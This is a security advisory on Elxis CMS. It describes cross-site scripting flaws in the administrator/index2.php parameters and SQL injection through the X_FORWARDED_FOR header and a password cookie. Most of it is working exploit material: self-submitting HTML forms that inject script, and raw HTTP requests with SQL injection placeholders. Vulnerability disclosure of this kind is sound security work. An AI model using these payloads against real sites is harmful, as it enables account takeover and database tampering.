Multiple Vulnerabilities in Elxis CMS

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Elxis CMS which could be exploited to perform cross-site scripting and SQL injection attacks.

1) Cross-site scripting (XSS) vulnerabilities in Elxis CMS
The vulnerability exists due to input sanitation error in the "search", "misc" and "title" parameters in administrator/index2.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in and has access to administrative interface.
Exploitation examples:
<form action="http://host/administrator/index2.php" method="post" name="main" >
<input type="hidden" name="search" value='1"><script>alert(document.cookie)</script>' />
<input type="hidden" name="filter_logged" value="0" />
<input type="hidden" name="filter_enabled" value="-1" />
<input type="hidden" name="filter_type" value="Super Administrator" />
<input type="hidden" name="filter_expired" value="-1" />
<input type="hidden" name="limit" value="20" />
<input type="hidden" name="limitstart" value="0" />
<input type="hidden" name="option" value="com_users" />
<input type="hidden" name="task" value="" />
<input type="hidden" name="boxchecked" value="0" />
<input type="hidden" name="hidemainmenu" value="0" />
</form>
<script>
document.main.submit();
</script>
<form action="http://host/administrator/index2.php" method="post" name="main" >
<input type="hidden" name="catid" value="1" />
<input type="hidden" name="user_id" value="0" />
<input type="hidden" name="name" value="My Name" />
<input type="hidden" name="seotitle" value="sef-url" />
<input type="hidden" name="con_position" value="Website manager" />
<input type="hidden" name="email_to" value="webmaster@example.com" />
<input type="hidden" name="address" value="My address" />
<input type="hidden" name="suburb" value="city" />
<input type="hidden" name="state" value="reg" />
<input type="hidden" name="country" value="country" />
<input type="hidden" name="postcode" value="12345" />
<input type="hidden" name="telephone" value="123" />
<input type="hidden" name="fax" value="123" />
<input type="hidden" name="misc" value='hello"><script>alert(document.cookie)</script>' />
<input type="hidden" name="default_con" value="1" />
<input type="hidden" name="published" value="1" />
<input type="hidden" name="ordering" value="1" />
<input type="hidden" name="access" value="29" />
<input type="hidden" name="image" value="asterisk.png" />
<input type="hidden" name="params[menu_image]" value="-1" /><input type="hidden" name="params[menu_image_only]" value="0" /><input type="hidden" name="params[pageclass_sfx]" value="" /><input type="hidden" name="params[print]" value="" /><input type="hidden" name="params[back_button]" value="" /><input type="hidden" name="params[name]" value="1" /><input type="hidden" name="params[position]" value="1" /><input type="hidden" name="params[email]" value="0" /><input type="hidden" name="params[street_address]" value="1" /><input type="hidden" name="params[suburb]" value="1" /><input type="hidden" name="params[state]" value="1" /><input type="hidden" name="params[country]" value="1" /><input type="hidden" name="params[postcode]" value="1" /><input type="hidden" name="params[telephone]" value="1" /><input type="hidden" name="params[fax]" value="1" /><input type="hidden" name="params[misc]" value="1" /><input type="hidden" name="params[vcard]" value="1" /><input type="hidden" name="params[image]" value="1" /><input type="hidden" name="params[email_description]" value="1" /><input type="hidden" name="params[email_description_text]" value="" /><input type="hidden" name="params[email_form]" value="1" /><input type="hidden" name="params[email_copy]" value="1" /><input type="hidden" name="params[drop_down]" value="0" /><input type="hidden" name="params[contact_icons]" value="1" /><input type="hidden" name="params[icon_address]" value="" /><input type="hidden" name="params[icon_email]" value="" /><input type="hidden" name="params[icon_telephone]" value="" /><input type="hidden" name="params[icon_fax]" value="" /><input type="hidden" name="params[icon_misc]" value="" />
<input type="hidden" name="option" value="com_contact" />
<input type="hidden" name="id" value="1" />
<input type="hidden" name="task" value="save" />
</form>
<script>
document.main.submit();
</script>
<form action="http://host/administrator/index2.php" method="post" name="main" >
<input type="hidden" name="title" value='Polls"><script>alert(document.cookie)</script>' />
<input type="hidden" name="showtitle" value="1" />
<input type="hidden" name="position" value="right" />
<input type="hidden" name="languages[]" value="" />
<input type="hidden" name="access" value="29" />
<input type="hidden" name="published" value="1" />
<input type="hidden" name="params[cache]" value="0" />
<input type="hidden" name="params[moduleclass_sfx]" value="" />
<input type="hidden" name="selections[]" value="0" />
<input type="hidden" name="option" value="com_modules" />
<input type="hidden" name="id" value="1" />
<input type="hidden" name="original" value="1" />
<input type="hidden" name="module" value="mod_poll" />
<input type="hidden" name="task" value="save" />
<input type="hidden" name="client_id" value="0" />
</form>
<script>
document.main.submit();
</script>

2) SQL injection vulnerabilities in Elxis CMS
2.1 The vulnerability exists due to input sanitation error in the HTTP X_FORWARDED_FOR header in index.php. A remote attacker can send a specially crafted HTTP GET request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
POST /index.php?option=com_poll&Itemid=17 HTTP/1.1
X_FORWARDED_FOR: 123'SQL_CODE_HERE
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
voteid=1&option=com_poll&task=vote&id=1&Itemid=17&task_button=Vote
2.2 The vulnerability exists due to input sanitation error in the "usercookie[password]" cookie in index.php. A remote attacker can send a specially crafted HTTP GET request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
GET /index.php HTTP/1.1
Cookie: usercookie[username]=username; usercookie[password]=123'SQL_CODE_HERE